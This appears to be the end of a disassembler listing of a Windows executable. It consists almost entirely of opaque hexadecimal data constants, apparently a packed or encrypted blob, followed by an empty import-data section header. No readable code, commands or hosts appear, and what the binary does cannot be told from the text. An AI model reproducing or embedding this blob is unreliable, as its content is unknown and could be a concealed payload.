7B3E2FF1h, 0FA53139Ch, 0D5745392h, 0FEF4F612h dd 0EFE0156Eh, 961FEB5Eh, 185049CCh, 7781A270h, 1D9D9DD0h dd 0E6D3E960h, 7EB7BFA0h, 5AA8E81Ah, 0A56F6C41h, 795585B0h dd 0E92F5A7Dh, 2867ED50h, 97500AEDh, 4374FCD5h, 929AA2BFh dd 982AF3BFh, 9C7A69D0h, 44BDB237h, 334616Fh, 3EA2E1EFh dd 124F60F9h, 0AE8AEAC8h, 9A70CB4Ah, 0DE88E5C7h, 0C9685085h dd 26D95FD2h, 0C60A1A6Dh, 798DEF92h, 0C169C81Bh, 767CF95Fh dd 2375AF96h, 0C8BFDA50h, 825450C8h, 89545DEBh, 0C78D4FE9h dd 0EE72944Eh, 70531821h, 14F858ADh, 79F0F887h, 0B14F8270h dd 0D0BDF7ADh, 4E705509h, 527F9EEDh, 0D49F604Ch, 0DF40C893h dd 692C5138h, 0DE2D3DBFh, 0F3EFBD35h, 0A0D14CAh, 11AFE404h dd 6212147Eh, 0AA5FF79h, 9A5C169Fh, 5BD50569h, 95572FFDh dd 0EED56B74h, 0E8A39423h, 4CD42728h, 0FA46E653h, 1764BD68h dd 0A1EB0C86h, 0F7250F3Ch dd 0F9AD249Dh, 95F72526h, 1AFDA725h, 4179F54Ah, 5C52F96Ah dd 241E3119h, 0AB814472h, 3F0AC44Ah, 0E9933225h, 42EA0ADCh dd 0E3008B2h, 0BAB07469h, 0AA755AF8h, 9FB01050h, 0CEBDBB25h dd 0E02E7E07h, 2DA8A55Fh, 6E3EADFBh, 0D4C913E8h, 7F66F952h dd 67CB58B3h, 0C8142485h, 0CA76647h, 53282121h, 4DB21486h dd 0B40C3ED0h, 0E7764033h, 772E6E92h, 1A95C96Ch, 509A7744h dd 94D70C32h, 701088D0h, 0A50CA56Dh, 21D79866h, 54EFB4D7h dd 0CD9D208h, 94D62FADh, 46EC2EC5h, 0E9106F29h, 1683CF6Eh dd 16F531DAh, 2E4828h, 8060FB96h, 97317973h, 1454BA5Fh dd 98129AACh, 0B208840Dh, 42088B27h, 0C591904Fh, 5E08B692h dd 0EC1DADE1h, 8648744h, 6259C8BEh, 3CCA78F6h, 72450876h dd 0E3664BAh, 834660Ch, 0C29C99D7h, 65CD2C9Bh, 4320F308h dd 551392ACh, 1043A4EDh, 7A24D690h, 6BBDCF04h, 2B822E08h dd 70728820h, 0ABF453C9h, 2908A344h, 656AE580h, 4640B808h dd 10A94E14h, 109E0C42h, 0B26DA26Bh, 23225C08h, 61720A14h dd 182B532Ch, 6D958077h, 20E99608h, 63150C90h, 0F1920879h dd 61140C02h, 590859FBh, 6DD44CFAh, 0F2AE08A6h, 358D208Bh dd 0E95D1328h, 1410D1CFh, 0D3086867h, 0B44D1EA3h, 5B13EBB4h dd 0FBE4EBB3h, 0E12EDED8h, 0E0D6305Eh, 7BB16D44h, 8FD81C4Bh dd 73554234h, 0AC3871F5h, 308D76C4h, 7A0C54C9h, 8F6F4CD7h dd 0EAF7693Ch, 876D34BDh, 71167234h, 0EA1645FDh, 74F4B837h dd 0EF221252h, 7B4CC836h, 5A54A56Fh, 8FC26677h, 0D634A18Ah dd 5238FB8Dh, 797FA970h, 2DB86A73h, 32A1BFE4h, 0E7C5F86Ah dd 4750334Bh, 0ACD25827h, 5BF24A96h, 5444A5B9h, 2C65A574h dd 9A50177Ah, 442D2A4Bh, 0F8BC7A70h, 0D7340BBDh, 7FE401F2h dd 29AB4934h, 0AE486B6Bh, 48F2D1CBh, 73177FA8h, 0A14EFEB3h dd 0FF3D7A4Dh, 0E5EA171Dh, 384821ACh, 14DFEF4Ah, 43259BD1h dd 7697E7F4h, 9A42D0A8h, 423C7EA4h, 0AE969039h, 507CD179h dd 0A9C66CFDh, 0B44549A5h, 2DA03FFAh, 511A4B3Ah, 4485ED94h dd 0F017555Ah, 2CA20CAEh, 727A6CAEh, 61E44496h, 638530B6h dd 6408626Dh, 2BE8127Dh, 761CB109h, 506F0859h, 66C43020h dd 6978B76Ch, 0EB20D488h, 677AF47Ah, 0C38208A6h, 828202Bh dd 2924CD08h, 1FBB93B4h, 2778EBBDh, 0C2F4B9CAh, 0C9C24B4h dd 86E5270h, 251C2968h, 0F894EA0Bh, 8AC647Dh, 0FB767343h dd 397439C2h, 0DCCC42A3h, 882708EBh, 98CD3CACh, 527F0819h dd 4E688A46h, 0FC392439h, 71CA1091h, 2575C508h, 6852F7F5h dd 285A0C40h, 72C560A4h, 77610861h, 7470700Ch, 8C1D928Ch dd 4B6A4724h, 0B7982210h, 7BC808FAh, 0A82D574Bh, 0D2E039A8h dd 65091CFFh, 889CF54Ch, 7B66E273h, 6BDF6B98h, 10244777h dd 68EBBC5Ah, 57522043h, 2442B79Bh, 32F15F54h, 666A601Dh dd 0B09E2446h, 5A8966C4h, 992E0C19h, 6B101D25h, 1C0F0DA1h dd 98CE2069h, 2A636723h, 83E1BDF4h, 187E6E70h, 0ECD14C27h dd 9BAF6C13h, 26BE4E86h, 3C30102Ch, 79742645h, 0BCC2973Eh dd 0F3752812h, 0B5482030h, 5BE054D8h, 444D430Dh, 8F2FF15Dh dd 0D7F8522Ah, 0BD3509B5h, 9970100Eh, 261FED0Ch, 946C268Ch dd 0B7405CCBh, 0CF245A19h, 82F1092h, 0F87259D3h, 85483266h dd 8657075h, 0B46292F5h, 0FC4A08D1h, 0B17389C8h, 67E270ECh dd 0D8C93DD4h, 673362C2h, 87EF0893h, 693CFA30h, 67084688h dd 0A566AA79h, 0B2D45813h, 53149160h, 694E5168h, 5A0C46A7h dd 6F756787h, 0F37EB8B7h, 3324A719h, 0BB75CCD8h, 0A48AAC64h dd 0E9B0997Fh, 0AC5DC8DEh, 6C4173DAh, 0EFC4DB92h, 0F796CAE2h dd 2E16F424h, 0D6317851h, 0FA0B6864h, 690C3977h, 64E1BC5Dh dd 78244A19h, 221AFD97h, 33610C0Fh, 0C2316D72h, 2062951Eh dd 68BCE47Bh, 88490822h, 70261BAAh, 0DB3468C2h, 731233A0h dd 9718F2E5h, 0D27A208Ah, 0DBFFF3B1h, 5CBE8497h, 44962F8Ah dd 247999Ch, 6AF9538Eh, 4F12B64Fh, 0F36D88B6h, 0CD27A72h dd 0FF289477h, 7F16E4CAh, 5128A61Fh, 34620E43h, 681425DFh dd 0D820C90h, 1CA11047h, 38AD126Dh, 0B891B8BEh, 95740243h dd 595ACF95h, 34E06FBEh, 9C18FB3Fh, 0A9671F5Ch, 6922507Ah dd 0F261655Eh, 0C745903Ch, 802C7502h, 15A1AC70h, 27504455h dd 4744CA97h, 79F4406Ch, 286E1F29h, 0C7BC531Eh, 7322B49Ch dd 47B6428h, 4471F2AEh, 78A753F4h, 721C24A3h, 2A1F46A5h dd 9F28741Fh, 44BEE51Eh, 72D08474h, 0CF5DEF6Ch, 7FEECAC2h dd 0BCD16814h, 680287CAh, 0C9F7424h, 7242DC59h, 44FE16Dh dd 291E24F4h, 29151560h, 0FFE00408h, 341F2A44h, 0FC5ED48Bh dd 0DD2CD06Ch, 34531DE8h, 2514462Ch, 8C5C3634h, 6C148924h dd 14485E77h, 188C1DB6h, 0FD34C2FBh, 0DADA3038h, 0E9620832h dd 484C141Bh, 75A5B7B8h, 8E64189Ch, 0BB9AD892h, 7267DC94h dd 964EC9C8h, 9EE6DABDh, 2C249F31h, 82814CDh, 1069A146h dd 1CA0B745h, 5EBCD991h, 0AF8BF567h, 642585ADh, 202D040Ah dd 814B6816h, 0FC8E0B6Eh, 0AC7BA5D7h, 92AD43F1h, 0BD780BAh dd 0F7E7C25Ah, 2141DFBBh, 0F0F83A5Dh, 93480EEDh, 0FDD2C8BDh dd 46A29646h, 0E9924546h, 0E945AA88h, 84B55DF2h, 5ECCD8E8h dd 8281AD6Dh, 54414843h, 0FFC98897h, 329DF846h, 4A91F626h dd 4A55E826h, 0E7B57C28h, 50010F68h, 15479B5Fh, 4528EDC4h dd 208D2A0Dh, 27E4A83Eh, 4EEACA6Ah, 0FC81D22Ch, 0A4F65A01h dd 0F97E01CBh, 4CE15316h, 0B3C23F19h, 0B86EF511h, 0EEE406D5h dd 8EC21BF1h, 0A2ABD254h, 0A9333880h, 4FB87C32h, 0BB0065AFh dd 0BB933C3Fh, 3FEE77C4h, 8790D56Ch, 5C293533h, 498848E0h dd 0C59576D8h, 0B4D32D04h, 48B65CC9h, 93215794h, 0B24B825Bh dd 543BDF4Ch, 3334191Bh, 323099E8h, 4564CE2Bh, 4F880317h dd 0DB247FAh, 0F686AFBBh, 7DFB2AE1h, 39BF2B88h, 800600F8h dd 0AF01A8BDh, 11C97D8Ah, 0FB2AF4BEh, 89297406h, 1F7D9531h dd 4C5FA588h, 8018692Ch, 0E0147357h, 975201B0h, 0D059CA03h dd 80D5A811h, 280DC9A0h, 145180h, 1D55B526h, 46C5C137h dd 6379AB00h, 0E8682A8Fh, 64E59569h, 0A4B73A94h, 0C743F4B1h dd 0C08446Ch, 1C5C8964h, 1C4C8954h, 1C3C8944h, 122C8934h dd 48242401h, 2202911Ch, 3044410h, 0D8AFD48Bh, 0CA56478h dd 975044B8h, 3664E425h, 0CC9D2108h, 85088BF6h, 0B4511053h dd 0D345B10h, 60A1D4F5h, 0A7882108h, 8A19551h, 0F97852AFh dd 95116456h, 0DA25C0BFh, 160E952Ch, 4B03F6D2h, 0BFA45CCEh dd 8A8D2035h, 0D92A3C0Dh, 47846956h, 346DF474h, 766EA802h dd 8C33EB09h, 0E263A5F7h, 4EFA5E5Ah, 3EC96C85h, 0A6FD7833h dd 696F7718h, 5675CF83h, 9D642B88h, 201A3E9Ah, 0DC4C73Ah dd 7E110BB5h, 3FD66BB2h, 2864855Bh, 89AEB2FAh, 0C944DD63h dd 0D8ED11D2h, 36D2613Eh, 7DDFCA4Fh, 2EB755A5h, 139F1259h dd 7CA86914h, 21216EFCh, 842E2EC5h, 6D338043h, 0D55A6BFEh dd 0C4F2E2D5h, 9534AE4Fh, 7DCE2C39h, 0F8B4C07Bh, 4C6F6BCBh dd 0F65F24D4h, 51FF4E98h, 0A15F2345h, 2E8519C8h, 22411EB6h dd 0EAC7943Bh, 47E2A889h, 48CB290Ch, 0E942E866h, 8788EEDFh dd 0AA6465B0h, 3152D1A2h, 0BA45852h, 0C47F70C0h, 614CCD18h dd 72349593h, 501ADA1Bh, 66448119h, 8DB66A2Dh, 4248488Fh dd 9DA43CD2h, 5F48430Ah dd 0F46BEC21h, 5CEDE80Ah, 0F2976492h, 5E7897B6h, 2B49B9A5h dd 562B5E50h, 69D12893h, 226F5A49h, 0A4932C72h, 3514DABFh dd 0C134EE76h, 8B6274EBh, 0A6E9931Ch, 8146C4D1h, 3812AED7h dd 0A0A5A729h, 5120657Eh, 126CD2F5h, 0EECC636Dh, 0E259F86Eh dd 6C898343h, 0F1DE5F44h, 3E68F13Ch, 0DC905BECh, 26CDDD4Bh dd 1AACD249h, 8C85DCA6h, 69592AEAh, 0F45FDE29h, 0A8912EECh dd 0AC11675Ah, 596C992h, 0EE97FDACh, 0AB30863Dh, 0DD8AC447h dd 0DF95414Ch, 56686926h, 0A7C8F195h, 0AFA1E873h, 2089D3E9h dd 125D9D2Ch, 0E9F345A3h, 2494DB55h, 341EDAF4h, 2B62CDB5h dd 0DF4BF3C4h, 3FB1CB84h, 0BCF43436h, 0CF54463Eh, 9DFAB325h dd 0ABCFC325h, 8553A256h, 0E2AB0B52h, 4618478Dh, 2852240Ch dd 0F57618CDh, 0F05D1846h, 967F0C46h, 270BC805h, 11D4327Fh dd 77E66694h, 3F4D782Dh, 6ED57FA9h, 0E677BBB7h, 3A74CEC3h dd 0E5EC8B12h, 9E5F77A8h, 0ABB05C1Eh, 0CB2F3441h, 0A9684238h dd 79F62028h, 0A0D21E94h, 34312D44h, 9518DD53h, 361B0632h dd 0F2D40B75h, 0DC0A5BA4h, 672DD959h, 0BBBD5B38h, 99D21EE2h dd 2F1E0928h, 39FF1CDh, 0E9FE2D52h, 11B1A6Dh, 0A8DA114Eh dd 0C44647Fh, 2F3A9563h, 74BAD73Ch, 687EAED5h, 19AD1452h dd 52174F48h, 341BAD84h, 0D071E96Bh, 0CAB975Eh, 24ABE165h dd 852060A4h, 3F50A2CCh, 6BD5E957h, 2863962Bh, 78614D09h dd 75B5922Eh, 4965C3C1h, 4250A012h, 4C522764h, 75EF0AFBh dd 0EA43C417h, 0CB25A88Dh, 5728B9F2h, 736B6C89h, 1EA61F79h dd 59095347h, 0AE1CB590h, 1472D464h, 7B44A61h, 3B1A6619h dd 6E9410A3h, 89AB974Ah, 3E4EEF7Dh, 0AC73E48Ch, 61423B60h dd 0B426ACCAh, 1A248134h, 9C411472h, 0C554B7B4h, 48761052h dd 0FFFAFD6Fh, 29ED26D1h, 79B4E87Eh, 0A1685EB5h, 0B3DFAD48h dd 0F3F07532h, 12DC4778h, 4062AF47h, 0CB00F655h, 52F5B2D2h dd 14AF5379h, 3E61114h, 0B754625h, 1DC257A8h, 63411118h dd 0AFA95DE3h, 0BB92771Ch, 71F5C192h, 0FEC0EA9Bh, 0E76E412Eh dd 99D0B52h, 697C7605h, 1D790E62h, 28697AA4h, 472F7C18h dd 2F6552D8h, 0CFCA5544h, 0A365644Eh, 0E104A9Ah, 6C634FAEh dd 75FB853Ah, 839AE6Ah, 2D6E9371h, 0DA465D1h, 5C2B73DAh dd 9432BDD2h, 52E437D0h, 7875AF38h, 9A9667CBh, 988ED314h dd 52007026h, 123412D1h, 28DF29AFh, 4A28A328h, 0AD472D72h dd 0BD17C3C8h, 0F26E3839h, 2F792BC9h, 2E0ACF29h, 0F7695C29h dd 18718892h, 0E546C449h, 744FF05Bh, 42232A99h, 0DF6FCBA0h dd 0A18A1F4Ch, 0DE40947Fh, 265A761Ch, 7990898Ch, 0E506D4Eh dd 0FC0E68A3h, 8BA23B25h, 0A3F7AC65h, 10531942h, 0B87B9241h dd 62C99344h, 114B0125h, 4E4DBA68h, 4FAA75D2h, 5A32646Dh dd 0CE466C71h, 1229CAD3h, 0FF5B625Bh, 0BEE16D24h, 5B29FB2Ah dd 2EA9353Ch, 4C69568Ah, 0E14D8CD1h, 215453F6h, 0EE5FA7ECh dd 0E582A2EEh, 4A28297Ah, 0C8825ED7h, 219CD34Ch, 4E643E2Eh dd 0A51BECEFh, 2C1FCDAFh, 166A9AB8h, 0CDC196CFh, 68FE2A91h dd 0BA9D2E78h, 4D671290h, 48B8215Eh, 2C2E59FAh, 3C2EAEE4h dd 0A53E71ACh, 22E97B1Ah, 693C8F0Eh, 55D21474h, 8A539AFEh dd 71F09A79h, 2964892Dh, 449340F1h, 2D5A56BFh, 0A88F6F6Fh dd 0ADD4FDB5h, 0FDB5380Ah, 3C2AA4D8h, 8C74AA92h, 4C061E36h dd 94A4D83Ah, 0C7B9AAA4h, 42ECA4D2h, 6A413F38h, 0B3A565B3h dd 0A0093408h, 34711129h, 0EDFCA492h, 29BB28D3h, 40103E4h dd 405C091Ah, 0DA425F28h, 9A050139h, 5C29D109h, 706911B3h dd 2443502Dh, 27FA7C70h, 32216C14h, 19334B33h, 46F5E464h dd 55DE4DE1h, 2F756454h, 4AFCBAFFh, 2C17DF46h, 28CD5525h dd 0BFE0446Bh, 5772E9FEh, 815196Eh, 90B54378h, 77FCC408h dd 0F409F80Ch, 4410F089h, 24815C3Ah, 116F30BFh, 0C4A84BD1h dd 9869119Bh, 0E0175D1Ch, 0CDC77F4Bh, 0F2BA55ADh, 75492154h dd 2E2E67A5h, 4434D344h, 75329BCDh, 0BB920349h, 3790B03Fh dd 53778393h, 2B4A249Dh, 0F534D77Ch, 0FE783551h, 43747323h dd 0FA41FC73h, 54709176h, 75FAC087h, 0F093EB12h, 0D1DF52EAh dd 0B0BA57Ah, 6EB8B26Ch, 2159D4BFh, 3C8C5650h, 545AF6BCh dd 925AC85Ch, 0D7183A53h, 52D097A3h, 6FBD5091h, 6FF52DE9h dd 0C4FED600h, 0D1F46A26h, 898B4B35h, 9A93042h, 2E38092Bh dd 0FB5B81CBh, 1896A829h, 0DD306B4Eh, 0F9616452h, 0E83F6325h dd 24109985h, 0A4E90023h, 47F2BD7Fh, 7C12D2BCh, 72F9704Dh dd 6E55F01Eh, 74729972h, 75789887h, 5E72996Eh, 977C1491h dd 1829DAF9h, 47FDA27Ch, 53D74913h, 2EB8E3Dh, 0F9E80541h dd 5B0281FFh, 0B966C931h, 73800E87h, 0E243D10Eh, 32184FF9h dd 1B0C2DB1h, 0C0330200h, 30400364h, 0FA2BFF78h, 8C1B467h dd 0A8F09EBh, 7CEC8D34h, 0D0FC3C0Ch, 0CA0B0367h, 0E9784853h dd 0DAF52041h, 391C59F4h, 0F61CFF33h, 0C277057h, 792A8110h dd 411FF40Ah, 33990275h, 0FB3B0316h, 3B178F18h, 4C03983h dd 8587C3B9h, 47DB74F6h, 3D741FFh, 57FAC8F2h, 0D112E837h dd 0C931FCC9h, 0B570F85Fh, 38B85B7Ch, 17E8186Ah, 78017533h dd 0DD93B5C3h, 15072122h, 0A6ED840Fh, 5B58C300h, 0EC83505Dh dd 8B9F5450h, 488DFC0Eh, 0F3D7A040h, 0E44B0AAh, 515257ABh dd 26286A27h, 55000C01h, 83D6FF53h, 318554C4h, 2D67C3C0h dd 2876E65Bh, 0C9155C69h, 0E34D653h, 2E0D79BEh, 2ABBE464h dd 6CB396E9h, 8CA43FCAh, 73089875h, 705DD388h, 1CEA4741h dd 0D7271B3Fh, 1A3F847h, 41785804h, 0F00E2CF2h, 0E00C4216h dd 7F212A09h, 7C5DB443h, 0BF852802h, 0E048BC42h, 84648F10h dd 8A22462Fh, 1590281h, 4038F40Bh, 9002A582h, 3C46BF02h dd 10AC041h, 582292AAh, 1008992Eh, 2A40144Ch, 47044381h dd 1FF2958h, 0F139F099h, 550195C2h, 1C5C4955h, 1001E08Ch dd 0D819C314h, 1D834217h, 44D41122h, 1B89D01Ah, 1F24C812h dd 1391C048h, 2144B822h, 120E89B0h, 480D24A8h, 220F91A0h dd 90104498h, 88120589h, 84481E24h, 80221291h, 897C2044h dd 2474120Ch, 916C480Bh, 44642215h, 19895C1Ch, 11245412h dd 18914C48h, 16444422h, 48DC8B3Ch, 22229134h, 2C234430h dd 28122489h, 0F0430128h, 0F831847Fh, 0A6EF18FFh, 7104810h dd 8B080A2h, 1814410h, 80301458h, 4152E795h, 289EF204h dd 0B42C0F01h, 20030495h, 5D0D2D09h, 49A62174h, 402010Ah dd 0A40C0808h, 39600803h, 21297982h, 0DFA68A18h, 0A5A14208h dd 219F8130h, 4004FCE0h, 0A833807Eh, 0A3C1610Eh, 0D0EC52DAh dd 0FE4981FCh, 0CA08D0B8h, 915D30B5h, 87B6C841h, 29E4A2CFh dd 67E5E007h, 6A5B85E8h, 0A17E1560h, 551180Ah, 0E55EDA09h dd 9E5FC09Dh, 0B832106Ah, 0DED808D3h, 310AF9E0h, 3C4A3A7Eh dd 2949CA9h, 803CA04h, 18480464h, 0D220591h, 89090644h dd 240C1207h, 39097208h, 0B1C4C0Ah, 3C169487h, 0F2908D0h dd 14109458h, 129411C8h, 2318D004h, 10359421h, 43E441C8h dd 34995072h, 53184C52h, 575308A6h, 7C592960h, 0C8186C94h dd 2220916Dh, 721C4470h, 653ACAEh, 0B4802B30h, 0CA088194h dd 83642082h, 48998472h, 25291291h, 0A110329Eh, 4CA490B9h dd 578EA770h, 0CE29A0B7h, 0C4D79120h, 0C980718h, 0BC08005h dd 1D998493h, 961C0419h dd 238D9187h, 0F28E9008h, 90431E8Fh, 927991C8h, 0E493210Fh dd 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h, 78F4AC8Ch dd 68FCA61Ah, 9E2810C8h, 0C7102EA4h, 0C8318B78h, 8ECE248h dd 50BB2478h, 3119F80Bh, 0CCE2C0D8h, 0BB9878F0h, 63601F80h dd 102E281Eh, 781119CEh, 218F011h, 48E02479h, 22D0917Ah dd 6A3020FCh, 0C2C0FF44h, 46B94021h, 11C9C86Ch, 7971DC01h dd 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh, 34269485h dd 18DD109h, 352460FCh, 409BC0B3h, 0EC03F209h, 3C815930h dd 0E4E0182Eh, 897F4820h, 8CB07080h, 38C2F1F0h, 0BF545350h dd 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h, 100E7879h dd 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h, 1125F312h dd 930D54Ch, 146D894Eh, 533A3462h, 6777176Ch, 48B404BCh dd 9F299D3h, 2F519910h, 6C124D09h, 0A041A1C5h, 140B4002h dd 0A10C05C8h, 790B08FAh, 610C9C21h, 0B0FC350h, 12F42408h dd 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h, 10348E1Bh dd 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh, 0C5ADA82Bh dd 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h, 0D7960071h dd 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h, 3E8F7312h dd 7BB982h, 0CFA6D53Ch, 781F49FFh, 6F007ADFh, 0E98CE0C6h dd 47C90080h, 41A893BAh, 6B0085BCh, 8D392755h, 3EE070F7h dd 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh, 0A14351AAh, 0E376E6h dd 2F29F2CCh, 44268184h, 17102803h, 0A8AEF8AAh, 7CC4C5E3h dd 0A7EB07FAh, 50F7F3D4h, 957A4AE1h, 6545CF00h, 0E91C7CCh dd 0A0AE01A6h, 46A3E319h, 0C17F40Dh, 8681751Ch, 48C976C0h dd 42584Dh, 3993A7E4h, 0B2B8353Bh, 0FA53ED3Eh, 3D5DE50Eh dd 8B417FC5h, 0FF5A929Eh, 0F0A6E8h, 54C020A1h, 61378CA5h dd 8BFDD10Eh, 25D8405Ah, 0F9895Dh, 95AA67DBh, 0BF27F3F8h dd 80C8A23Eh, 4C6E80DDh, 979BC9h, 52028A20h, 7525C460h dd 0CD34FBA4h, 12004CCh, 5713FFBh, 0A3D70A3Dh, 0F8050F70h dd 3B645A80h, 8D034FDFh, 83126E97h, 0D3C3E0F5h, 1965002Ch dd 0B71758E2h, 0D0F8F1D1h, 84230F07h, 0AC201B47h, 0F8EEA7C5h dd 0B6A60040h, 5AF6C69h, 863E37BDh, 3D3300EBh, 0E57A42BCh dd 0BF940FD5h, 0C287E7D6h, 61CE10FDh, 770F1184h, 80E4ABCCh dd 0E15B4C2Fh, 0BEC4034Dh, 0C9E69594h, 53C092E3h, 441F753Bh dd 9A8F14CDh, 67DE80AFh, 73994BAh, 0B11EAD45h, 24807FCFh dd 0BCE2C623h, 310F3BFEh, 9D7A8B61h, 0C1595500h, 0F53B17Eh dd 5FBB127Ch, 2FEED780h, 0BE03068Dh, 0FB158592h, 1C487E44h dd 0C139E9A5h, 0A87FEA27h, 0AC7DF02Ah, 0BCE4A100h, 0D0467C64h dd 3E5500DDh, 0CC067B63h, 77035423h, 8191FF83h, 3AFA983Dh dd 637A0019h, 0C0314325h, 21003CACh, 8238D189h, 0E0B89747h dd 3BD700FDh, 85888DCh, 0E807B11Bh, 3A686E3h, 4584C6C0h dd 0B6070042h, 0DB377599h, 33073A2Eh, 23D21C71h, 49EE3280h dd 395A0090h, 0C0BE87A6h, 0A53CDA57h, 0B5A20082h, 0B268E232h dd 52A70011h, 0B759449Fh, 25002C10h, 362DE449h, 1E534F34h dd 0C06BCEAEh, 0A404598Fh, 0C200DEC0h, 0C6E8FB7Dh, 0E79E1Eh dd 91575A88h, 8350BF3Ch, 4E182201h, 0FD62654Bh, 0CAF8FE0h dd 117D9406h, 9F00DE5Ch, 4C8D2CEh, 9CD8A6DDh, 0E816B80Bh dd 2E94CC1Ch, 56413F03h, 9C637865h, 40EDB4BBh, 4B184FE3h dd 5FD84BFAh, 4044BFF4h, 3C2AC6EAh, 6C92388Dh, 1A6FA5AEh dd 92204321h, 5F6F0EEAh, 0BF73668Eh, 202EED94h, 2FE8E94Fh dd 0D6E2FA5Fh, 43C88A32h, 0FFEFEB01h, 0BE013EE4h, 143FEFFh dd 60BEEBBAh, 238D9100h, 0F28E9008h, 90431E8Fh, 927991C8h dd 0E493210Fh, 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h dd 78F4AC8Ch, 68FCA61Ah, 9E2810C8h, 0C7102EA4h, 0C8318B78h dd 8ECE248h, 50BB2478h, 3119F80Bh, 0CCE2C0D8h, 0BB9878F0h dd 63601F80h, 102E281Eh, 781119CEh, 218F011h, 48E02479h dd 22D0917Ah, 6A3020FCh, 0C2C0FF44h, 46B94021h, 11C9C86Ch dd 7971DC01h, 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh dd 34269485h, 18DD109h, 352460FCh, 409BC0B3h, 0EC03F209h dd 3C815930h, 0E4E0182Eh, 897F4820h, 8CB07080h, 38C2F1F0h dd 0BF545350h, 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h dd 100E7879h, 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h dd 1125F312h, 930D54Ch, 146D894Eh, 533A3462h, 6777176Ch dd 48B404BCh, 9F299D3h, 2F519910h, 6C124D09h, 0A041A1C5h dd 140B4002h, 0A10C05C8h, 790B08FAh, 610C9C21h, 0B0FC350h dd 12F42408h, 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h dd 10348E1Bh, 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh dd 0C5ADA82Bh, 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h dd 0D7960071h, 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h dd 3E8F7312h, 7BB982h, 0CFA6D53Ch, 781F49FFh, 6F007ADFh dd 0E98CE0C6h, 47C90080h, 41A893BAh, 6B0085BCh, 8D392755h dd 3EE070F7h, 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh, 0A14351AAh dd 0E376E6h, 2F29F2CCh, 44268184h, 17102803h, 280h dup(0) seg002 ends ; Section 3. (virtual address 00088000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00088000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 488000h dd 80h dup(0) align 1000h _idata2 ends end __ImageBase